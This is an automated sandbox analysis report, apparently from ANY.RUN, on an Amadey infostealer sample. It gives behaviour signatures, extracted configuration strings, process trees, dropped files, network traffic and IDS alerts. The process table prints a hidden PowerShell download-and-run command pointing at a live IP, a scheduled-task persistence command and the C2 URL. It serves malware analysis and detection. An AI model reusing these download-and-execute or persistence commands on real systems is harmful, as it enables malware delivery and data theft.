| File name: | 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer |
| Full analysis: | https://app.any.run/tasks/9831d777-31a9-406e-940a-be8c675bc520 |
| Verdict: | Malicious activity |
| Threats: | Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. |
| Analysis date: | May 16, 2025, 15:02:50 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | 2DB65DC404FB4FEA251F0D1540510360 |
| SHA1: | 7DEDDCF27D37D080E42292D92E242DB7409820EE |
| SHA256: | D22C5344DBA0CB0E46F8FAAD59627C90C18CCEB04343462F0316E88C313AA0A4 |
| SSDEEP: | 49152:wPPkzemqoSut3Jh4+QQ/btosJwIA4hHmZlKH2Tw/Pq83zw0bCjvk9G661QGtBaXo:yP/mp7t3T4+B/btosJwIA4hHmZlKH2TW |
MALICIOUS
Uses Task Scheduler to run other applications
- cmd.exe (PID: 5112)
Run PowerShell with an invisible window
- powershell.exe (PID: 5728)
- powershell.exe (PID: 6872)
Request from PowerShell that ran from MSHTA.EXE
- powershell.exe (PID: 5728)
Script downloads file (POWERSHELL)
- powershell.exe (PID: 6872)
- powershell.exe (PID: 5728)
AMADEY mutex has been found
- ramez.exe (PID: 616)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
- ramez.exe (PID: 6768)
- ramez.exe (PID: 6436)
AMADEY has been detected (SURICATA)
- ramez.exe (PID: 616)
Connects to the CnC server
- ramez.exe (PID: 616)
AMADEY has been detected (YARA)
- ramez.exe (PID: 616)
SUSPICIOUS
Starts CMD.EXE for commands execution
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
Probably download files using WebClient
- mshta.exe (PID: 6988)
- mshta.exe (PID: 864)
Manipulates environment variables
- powershell.exe (PID: 5728)
- powershell.exe (PID: 6872)
Starts process via Powershell
- powershell.exe (PID: 5728)
- powershell.exe (PID: 6872)
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 6988)
- mshta.exe (PID: 864)
Found IP address in command line
- powershell.exe (PID: 5728)
- powershell.exe (PID: 6872)
Process requests binary or script from the Internet
- powershell.exe (PID: 5728)
Connects to the server without a host name
- powershell.exe (PID: 5728)
- ramez.exe (PID: 616)
Potential Corporate Privacy Violation
- powershell.exe (PID: 5728)
Executable content was dropped or overwritten
- powershell.exe (PID: 6872)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Starts itself from another location
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Reads security settings of Internet Explorer
- ramez.exe (PID: 616)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Contacting a server suspected of hosting an CnC
- ramez.exe (PID: 616)
The process executes via Task Scheduler
- ramez.exe (PID: 6436)
- ramez.exe (PID: 6768)
There is functionality for enable RDP (YARA)
- ramez.exe (PID: 616)
There is functionality for taking screenshot (YARA)
- ramez.exe (PID: 616)
INFO
Reads the computer name
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
- ramez.exe (PID: 616)
The sample compiled with english language support
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
Checks supported languages
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
- ramez.exe (PID: 616)
- ramez.exe (PID: 6436)
- ramez.exe (PID: 6768)
Reads mouse settings
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
Create files in a temporary directory
- 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe (PID: 4008)
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Auto-launch of the file from Task Scheduler
- cmd.exe (PID: 5112)
Reads Internet Explorer settings
- mshta.exe (PID: 6988)
- mshta.exe (PID: 864)
Manual execution by a user
- mshta.exe (PID: 864)
Checks proxy server information
- powershell.exe (PID: 5728)
- ramez.exe (PID: 616)
- slui.exe (PID: 5228)
Disables trace logs
- powershell.exe (PID: 5728)
The executable file from the user directory is run by the Powershell process
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6872)
Process checks computer location settings
- TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE (PID: 7152)
Reads the software policy settings
- slui.exe (PID: 5228)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Amadey
(PID) Process(616) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
"
Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main
TRiD
| .exe | | | Win64 Executable (generic) (76.4) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (12.4) |
| .exe | | | Generic Win/DOS Executable (5.5) |
| .exe | | | DOS Executable Generic (5.5) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:05:15 17:31:27+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.16 |
| CodeSize: | 633856 |
| InitializedDataSize: | 326144 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x20577 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 0.0.0.0 |
| ProductVersionNumber: | 0.0.0.0 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (British) |
| CharacterSet: | Unicode |
Total processes
140
Monitored processes
15
Malicious processes
8
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 616 | "C:\Users\admin\AppData\Local\Temp\d610cf342e\ramez.exe" | C:\Users\admin\AppData\Local\Temp\d610cf342e\ramez.exe | TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE | ||||||||||||
User: admin Integrity Level: MEDIUM Modules
Amadey(PID) Process(616) ramez.exe C2185.156.72.96 URLhttp://185.156.72.96/te4h2nus/index.php Version5.34 Options Drop directoryd610cf342e Drop nameramez.exe Strings (125)lv: msi Kaspersky Lab av: | # " \App 00000422 dm: Powershell.exe ProgramData\ ps1 rundll32 http:// Content-Disposition: form-data; name="data"; filename=" SOFTWARE\Microsoft\Windows NT\CurrentVersion dll SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders id: VideoID cred.dll|clip.dll| 0000043f cmd 00000423 SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName -executionpolicy remotesigned -File " 2022 ------ 2016 og: \0000 CurrentBuild 2019 ::: S-%lu- " && timeout 1 && del ProductName Panda Security ESET SOFTWARE\Microsoft\Windows\CurrentVersion\Run /k +++ ?scr=1 Doctor Web GET SYSTEM\ControlSet001\Services\BasicDisplay\Video /quiet .jpg d610cf342e vs: sd: rundll32.exe "taskkill /f /im " pc: random = 360TotalSecurity <d> wb Content-Type: multipart/form-data; boundary=---- Startup Norton && Exit" os: https:// SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 2025 Avira %-lu zip POST "
Content-Type: application/octet-stream Rem /te4h2nus/index.php ------ 5.34 <c> clip.dll AVAST Software \ shell32.dll " && ren e3 ramez.exe kernel32.dll DefaultSettings.XResolution d1 DefaultSettings.YResolution 185.156.72.96 r= cred.dll -- GetNativeSystemInfo -%lu ComputerName &unit= Keyboard Layout\Preload SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders ar: Sophos %USERPROFILE% exe e1 e2 st=s Programs 0123456789 un: rb bi: abcdefghijklmnopqrstuvwxyz0123456789-_ SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\ cmd /C RMDIR /s/q Bitdefender -unicode- AVG WinDefender && shutdown -s -t 0 Comodo 00000419 Content-Type: application/x-www-form-urlencoded /Plugins/ Main | |||||||||||||||
| 864 | mshta C:\Users\admin\AppData\Local\Temp\dZf01QjPs.hta | C:\Windows\System32\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1188 | schtasks /create /tn XzT19ma605h /tr "mshta C:\Users\admin\AppData\Local\Temp\dZf01QjPs.hta" /sc minute /mo 25 /ru "admin" /f | C:\Windows\SysWOW64\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3304 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4008 | "C:\Users\admin\Desktop\2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe" | C:\Users\admin\Desktop\2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 5112 | C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn XzT19ma605h /tr "mshta C:\Users\admin\AppData\Local\Temp\dZf01QjPs.hta" /sc minute /mo 25 /ru "admin" /f | C:\Windows\SysWOW64\cmd.exe | — | 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5228 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5344 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5392 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) | |||||||||||||||
| 5728 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d; | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
14 318
Read events
14 295
Write events
23
Delete events
0
Modification events
| (PID) Process: | (6988) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6988) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6988) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (864) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (864) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (864) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (5728) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (5728) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (5728) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (5728) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
Executable files
2
Suspicious files
2
Text files
5
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5728 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ll3p3het.iz2.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6872 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sxjciuez.gek.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5728 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sxmmjv0h.1ko.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4008 | 2025-05-16_2db65dc404fb4fea251f0d1540510360_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe | C:\Users\admin\AppData\Local\Temp\dZf01QjPs.hta | html | |
MD5:42E4CFBDC1AD3C83C62DC0E0E20A1CED | SHA256:FEE8CE162788076091D7DB026D405BB2F4C476EBB32FADBDAF7585F0E5FD7A77 | |||
| 6872 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cgkx3vac.azl.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6872 | powershell.exe | C:\Users\admin\AppData\Local\TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE | executable | |
MD5:9E86D191C1B1191E80B152E38E97804B | SHA256:D638730B7E1D3E3BC9F45D7697AFC626F17CF3AD0363F47D626B19CDC13FA3CC | |||
| 7152 | TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE | C:\Windows\Tasks\ramez.job | binary | |
MD5:1E8119DE1F2991A29EF14BD5D1DB8DC9 | SHA256:824A342FC62322E10F3F80799755AEF618782445C7EE8AADE08C974F5F1AA214 | |||
| 6872 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:AC97F59D7AF8BDCA8AE9D1F2891D9441 | SHA256:E71C332F19F4672EAE13DE48CC1066194E41421192BD000A3098452AFA30BBA0 | |||
| 7152 | TempMNJVDVYYXH8BU0JWVRRXA1DFKE8XHGG2.EXE | C:\Users\admin\AppData\Local\Temp\d610cf342e\ramez.exe | executable | |
MD5:26CC5A6CFD8E8ECC433337413C14CDDB | SHA256:2D904D576B46236BAF504DBA21775F6EBBBD0F65272A9C2FCA1C6798184FA4E8 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
18
TCP/UDP connections
29
DNS requests
11
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5728 | powershell.exe | GET | 200 | 185.156.72.2:80 | http://185.156.72.2/testmine/random.exe | unknown | — | — | unknown |
616 | ramez.exe | POST | 200 | 185.156.72.96:80 | http://185.156.72.96/te4h2nus/index.php | unknown | — | — | malicious |
— | — | POST | 500 | 20.83.72.98:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
616 | ramez.exe | POST | 200 | 185.156.72.96:80 | http://185.156.72.96/te4h2nus/index.php | unknown | — | — | malicious |
— | — | GET | 304 | 4.175.87.197:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | — |
— | — | GET | 200 | 4.175.87.197:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | compressed | 23.9 Kb | whitelisted |
3900 | SIHClient.exe | GET | 200 | 23.216.77.26:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 40.69.42.241:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | unknown | — | — | — |
3900 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5728 | powershell.exe | 185.156.72.2:80 | — | Tov Vaiz Partner | RU | unknown |
616 | ramez.exe | 185.156.72.96:80 | — | Tov Vaiz Partner | RU | malicious |
6476 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5228 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
5728 | powershell.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 34 |
5728 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
5728 | powershell.exe | Potential Corporate Privacy Violation | ET INFO PE EXE or DLL Windows file download HTTP |
5728 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
5728 | powershell.exe | Misc activity | ET INFO Packed Executable Download |
5728 | powershell.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
616 | ramez.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 34 |
616 | ramez.exe | Malware Command and Control Activity Detected | BOTNET [ANY.RUN] Amadey HTTP POST Request (st=s) |
616 | ramez.exe | Malware Command and Control Activity Detected | ET MALWARE Amadey CnC Response |
616 | ramez.exe | Malware Command and Control Activity Detected | ET MALWARE Amadey CnC Response |